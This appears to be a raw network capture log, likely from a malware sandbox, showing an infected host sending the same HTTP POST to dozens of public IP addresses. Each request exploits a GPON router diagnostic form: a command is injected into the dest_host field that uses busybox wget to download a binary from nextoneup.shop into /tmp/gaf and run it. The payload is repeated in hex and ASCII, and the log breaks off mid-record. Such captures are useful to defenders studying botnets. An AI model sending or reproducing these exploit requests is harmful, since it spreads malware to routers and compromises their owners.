Session ID	Source IP	Source Port	Destination IP	Destination Port
2565	192.168.2.13	56676	42.9.189.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437608957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2566	192.168.2.13	57804	117.190.69.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437635899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2567	192.168.2.13	33358	118.103.151.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437649012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2568	192.168.2.13	34930	94.27.85.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437680006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2569	192.168.2.13	35542	42.184.22.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437714100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2570	192.168.2.13	58164	123.180.9.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437741995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2571	192.168.2.13	52220	118.74.123.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437767982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2572	192.168.2.13	48734	109.135.206.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437803984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2573	192.168.2.13	47104	202.141.94.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437809944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2574	192.168.2.13	50270	118.107.81.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437829018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2575	192.168.2.13	60030	2.66.208.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437854052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2576	192.168.2.13	57866	2.235.113.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437884092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2577	192.168.2.13	60488	117.105.148.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437923908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2578	192.168.2.13	54854	118.42.15.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437968016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2579	192.168.2.13	50986	5.73.238.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437994957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2580	192.168.2.13	39892	123.216.78.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438000917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2581	192.168.2.13	57220	94.133.21.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438035011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2582	192.168.2.13	33046	178.15.154.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438045025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2583	192.168.2.13	49850	148.205.35.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438086033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2584	192.168.2.13	52758	148.205.86.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438113928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2585	192.168.2.13	50192	118.122.127.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438133955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2586	192.168.2.13	45188	210.220.228.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438186884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2587	192.168.2.13	56150	109.101.97.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438213110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2588	192.168.2.13	60824	118.169.49.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438241959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2589	192.168.2.13	37802	42.227.117.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438261032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2590	192.168.2.13	40948	94.208.91.119	443

Timestamp	Bytes transferred	Direction	Data
